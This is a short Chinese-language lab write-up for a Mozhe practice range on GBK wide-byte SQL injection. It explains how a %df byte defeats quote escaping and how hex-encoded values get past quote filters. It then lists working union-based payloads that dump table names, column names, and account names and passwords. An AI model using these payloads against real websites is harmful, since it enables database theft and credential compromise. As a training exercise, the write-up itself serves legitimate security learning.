靶场地址:
https://www.mozhe.cn/bug/detail/MEJyQWEyd29tN2ErT1VocThlaUNVdz09bW96aGUmozhe
造成宽字节注入的原因,主要是因为编码方式的不同,其中gbk占用两个字节。如果php后端对 '号进行了转义,' 变成了 \',即%5c%27,如果在前面加上一个%df,那么%df%5c%27中%df%5c就会被gbk解释成" 縗 ",结果变成了" 縗' ",成功绕过单引号的过滤
另外一种需要绕过单引号的情况,如:table_name='test',可将test转换为16进制,在其前面添加0x绕过,test的16进制为74657374,即输入table_name=0x74657374就可以绕过
id=1%df%5c%27
报错
id=1%df%5c%27%23
回显正常,确认宽字节注入
确认列数以及回显在页面的列数:
id=1%df%5c%27 and 1=2 union select 1,2,3,4,5%23
,共有5列,3和5列回显在页面
获得数据库名和表名:
id=1%df%5c%27 and 1=2 union select 1,2,group_concat(table_name),4,database() from information_schema.tables where table_schema=database()%23
获得stormgroup_member表的列名
id=1%df%5c%27 and 1=2 union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_name=0x73746f726d67726f75705f6d656d626572%23
获得status=1的账号和密码
id=1%df%5c%27 and 1=2 union select 1,2,password,4,name from stormgroup_member where status=1%23
网友评论